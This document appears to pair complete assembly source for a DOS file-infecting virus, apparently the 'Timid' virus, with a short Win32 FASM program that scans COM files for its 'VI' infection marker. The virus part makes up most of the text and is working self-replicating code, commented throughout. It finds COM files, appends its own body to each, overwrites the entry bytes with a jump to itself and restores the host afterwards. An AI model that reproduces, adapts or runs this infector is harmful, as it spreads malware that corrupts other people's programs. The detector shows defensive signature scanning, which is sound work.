MAIN SEGMENT BYTE 
ASSUME CS:MAIN,DS:MAIN,SS:NOTHING 
ORG 100H 

;This host is a shell of a program which will release the virus into the 
;system. All it does is jump to the virus routine, which does its job and 
;returns to it, at which point it terminates to DOS. 

HOST: 
  jmp NEAR PTR VIRUS_START ;MASM cannot assemble this jmp correctly 
  db 'VI'
  mov ah,4CH 
  mov al,0 
  int 21H ;terminate normally with DOS 
VIRUS: ;a label for the first byte of the virus 
  COMFILE DB '*.COM',0 ;search string for a com file 

VIRUS_START: 
  call GET_START ;get start address 
;This is a trick to determine the location of the start of the program. We put 
;the address of GET_START on the stack with the call, which is overlayed by 
;VIR_START. Subtract offsets to get @VIRUS 
GET_START: 
  sub WORD PTR [VIR_START],OFFSET GET_START - OFFSET VIRUS 
  mov dx,OFFSET DTA ;put DTA at the end of the virus for now 
  mov ah,1AH ;set new DTA function 
  int 21H 
  call FIND_FILE ;get a com file to attack 
  jnz EXIT_VIRUS ;returned nz - no file to infect, exit 
  call INFECT ;have a good COM file to use - infect it 
  mov dx,OFFSET FNAME ;display the name of the file just infected 
  mov WORD PTR [HANDLE],24H ;make sure string terminates w/ '$'
  mov ah,9 
  int 21H ;display it 
EXIT_VIRUS: 
  mov dx,80H ;fix the DTA so that the host program doesn't 
  mov ah,1AH ;get confused and write over its data with 
  int 21H ;file i/o or something like that! 
  mov bx,[VIR_START] ;get the start address of the virus 
  mov ax,WORD PTR [bx+(OFFSET START_CODE)-(OFFSET VIRUS)] ;restore 
  mov WORD PTR [HOST],ax ;5 orig bytes of COM file to start of file 
  mov ax,WORD PTR [bx+(OFFSET START_CODE)-(OFFSET VIRUS)+2] 
  mov WORD PTR [HOST+2],ax 
  mov al,BYTE PTR [bx+(OFFSET START_CODE)-(OFFSET VIRUS)+4] 
  mov BYTE PTR [HOST+4],al 
  mov [VIR_START],100H ;set up stack to do return to host program 
  ret ;and return to host 
START_CODE: ;move first 5 bytes from host program to here 
  nop ;nop's for the original assembly code 
  nop ;will work fine 
  nop 
  nop 
  nop 
;******************************************************************************* 
;Find a file which passes FILE_OK 
;This routine does a simple directory search to find a COM file in the current 
;directory, to find a file for which FILE_OK returns with z set. 
FIND_FILE: 
  mov dx,[VIR_START] 
  ; add dx,OFFSET COMFILE - OFFSET VIRUS ;this is zero here, so omit it 
  mov cx,3FH ;search for any file, with any attributes 
  mov ah,4EH ;do DOS search first function 
  int 21H 
FF_LOOP: 
  or al,al ;is DOS return OK? 
  jnz FF_DONE ;no - quit with Z reset 
  call FILE_OK ;return ok - is this a good file to use? 
  jz FF_DONE ;yes - valid file found - exit with z set 
  mov ah,4FH ;not a valid file, so 
  int 21H ;do find next function 
  jmp FF_LOOP ;and go test next file for validity 
FF_DONE: 
  ret 
;******************************************************************************* 
;Function to determine whether the COM file specified in FNAME is useable. If 
;so return z, else return nz. 
;What makes a COM file useable?: 
; a) There must be space for the virus without exceeding the 
; 64 KByte file size limit. 
; b) Bytes 0, 3 and 4 of the file are not a near jump op code, 
; and 'V', 'I', respectively
;
FILE_OK: 
  mov dx,OFFSET FNAME ;first open the file 

  mov ax,3D02H ;r/w access open file - we'll want to write to it 
  int 21H 
  jc FOK_NZEND ;error opening file - quit, file can't be used 
  mov bx,ax ;put file handle in bx 
  push bx ;and save it on the stack 
  mov cx,5 ;next read 5 bytes at the start of the program 
  mov dx,OFFSET START_IMAGE ;and store them here 
  mov ah,3FH ;DOS read function 
  int 21H 
  pop bx ;restore the file handle 
  mov ah,3EH 
  int 21H ;and close the file 
  mov ax,WORD PTR [FSIZE] ;get the file size of the host 
  add ax,OFFSET ENDVIRUS - OFFSET VIRUS ;add size of virus to it 
  jc FOK_NZEND ;c set if size goes above 64K 
  cmp BYTE PTR [START_IMAGE],0E9H ;size ok - is first byte a near jmp 
  jnz FOK_ZEND ;not a near jump, file must be ok, exit with z 
  cmp WORD PTR [START_IMAGE+3],4956H ;ok, is 'VI' in positions 3 & 4? 
  jnz FOK_ZEND ;no, file can be infected, return with Z set 
FOK_NZEND: 
  mov al,1 ;we'd better not infect this file 
  or al,al ;so return with z reset 
  ret 
FOK_ZEND: 
  xor al,al ;ok to infect, return with z set 
  ret 
;******************************************************************************* 
;This routine moves the virus (this program) to the end of the COM file 
;Basically, it just copies everything here to there, and then goes and 
;adjusts the 5 bytes at the start of the program and the five bytes stored 
;in memory. 
INFECT: 
  mov dx,OFFSET FNAME ;first open the file 
  mov ax,3D02H ;r/w access open file, we want to write to it 
  int 21H 
  mov WORD PTR [HANDLE],ax ;and save the file handle here 
  xor cx,cx ;prepare to write virus on new file 
  mov dx,cx ;position file pointer, cx:dx = pointer = 0 
  mov bx,WORD PTR [HANDLE] 
  mov ax,4202H ;locate pointer to end DOS function 
  int 21H 
  mov cx,OFFSET FINAL - OFFSET VIRUS ;now write virus, cx=# bytes 
  mov dx,[VIR_START] ;ds:dx = place in memory to write from 
  mov bx,WORD PTR [HANDLE] ;bx = file handle 
  mov ah,40H ;DOS write function 
  int 21H 
  xor cx,cx ;now save 5 bytes which came from start of host 
  mov dx,WORD PTR [FSIZE] ;so position the file pointer 
  add dx,OFFSET START_CODE - OFFSET VIRUS ;to where START_CODE is 
  mov bx,WORD PTR [HANDLE] ;in the new virus 
  mov ax,4200H ;and use DOS to position the file pointer 
  int 21H 
  mov cx,5 ;now go write START_CODE in the file 
  mov bx,WORD PTR [HANDLE] ;this data was obtained 
  mov dx,OFFSET START_IMAGE ;during the FILE_OK function above 
  mov ah,40H 
  int 21H 

  xor cx,cx ;now go back to the start of host program 
  mov dx,cx ;so we can put the jump to the virus in 
  mov bx,WORD PTR [HANDLE] 
  mov ax,4200H ;locate file pointer function 
  int 21H 

  mov bx,[VIR_START] ;calculate jump location for start of code 
  mov BYTE PTR [START_IMAGE],0E9H ;first the near jump op code E9 
  mov ax,WORD PTR [FSIZE] ;and then the relative address 
  add ax,OFFSET VIRUS_START-OFFSET VIRUS-3 ;these go to START_IMAGE 
  mov WORD PTR [START_IMAGE+1],ax 
  mov WORD PTR [START_IMAGE+3],4956H ;and put ’VI’ ID code in 
  mov cx,5 ;ok, now go write the 5 bytes we just put in START_IMAGE 
  mov dx,OFFSET START_IMAGE ;ds:dx = pointer to START_IMAGE 
  mov bx,WORD PTR [HANDLE] ;file handle 
  mov ah,40H ;DOS write function 
  int 21H 
  mov bx,WORD PTR [HANDLE] ;finally, get handle off of stack 
  mov ah,3EH ;and close file 
  int 21H 
  ret ;all done, the virus is transferred 
FINAL: ;label for last byte of code to be kept in virus when it moves 
ENDVIRUS EQU $ + 212 ;label for determining space needed by virus 
;Note: 212 = FFFF - FF2A - 1 = size of data space 
; $ gives approximate size of code required for virus 
ORG 0FF2AH 
DTA DB 1AH dup (?) ;this is a work area for the search function 
FSIZE DW 0,0 ;file size storage area 
FNAME DB 13 dup (?) ;area for file path 
HANDLE DW 0 ;file handle 
START_IMAGE DB 0,0,0,0,0 ;area to store 5 bytes to rd/wrt to file 
VSTACK DW 50H dup (?) ;stack for the virus program 
VIR_START DW (?) ;start address of VIRUS (overlays stack) 
MAIN ENDS 
END HOST
    

format PE GUI 4.0
entry BeginCode

include '%fasminc%\win32a.inc'

section '.code' executable readable writeable

BeginCode:
        invoke FindFirstFileA,filemask,wfd
        mov [search_handle],eax
@@:
        invoke CreateFileA,wfd.cFileName,(GENERIC_READ+GENERIC_WRITE),0,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0
        mov [file_handle],eax

        invoke CreateFileMapping,eax,0,PAGE_READWRITE,0,0,0
        mov [map_object],eax

        invoke MapViewOfFile,[map_object],FILE_MAP_ALL_ACCESS,0,0,0
        mov [map_address],eax

        mov esi,eax
        add esi,0x3
        cmp word [esi],'VI'
        je FoundOne
FindNext:
        invoke FindNextFileA,[search_handle],wfd
        cmp eax,0
        je AllDone
        jmp @B

AllDone:
        invoke UnmapViewOfFile,[map_address]
        ret

FoundOne:
        invoke wsprintf,timidout,timidin,wfd.cFileName
        add esp,0x0c

        invoke MessageBox,0,timidout,timidtitle,0
        invoke UnmapViewOfFile,[map_address]
        jmp FindNext

section '.data' data readable writeable

timidtitle      db      'Timid Virus Detection',0
timidin         db      'Virus found in file:  %s',0
timidout        rb      512
wfd             FINDDATA
filemask        db      '*.com',0
search_handle   dd      ?
file_handle     dd      ?
map_object      dd      ?
map_address     dd      ?


section '.idata' import data readable writeable

  library kernel32,'KERNEL32.DLL',\
          user,'USER32.DLL'

  import kernel32,\
         FindFirstFileA,'FindFirstFileA',\
         FindNextFileA,'FindNextFileA',\
         CreateFileA,'CreateFileA',\
         CreateFileMapping,'CreateFileMappingA',\
         MapViewOfFile,'MapViewOfFile',\
         UnmapViewOfFile,'UnmapViewOfFile'

  import user,\
         MessageBox,'MessageBoxA',\
         wsprintf,'wsprintfA'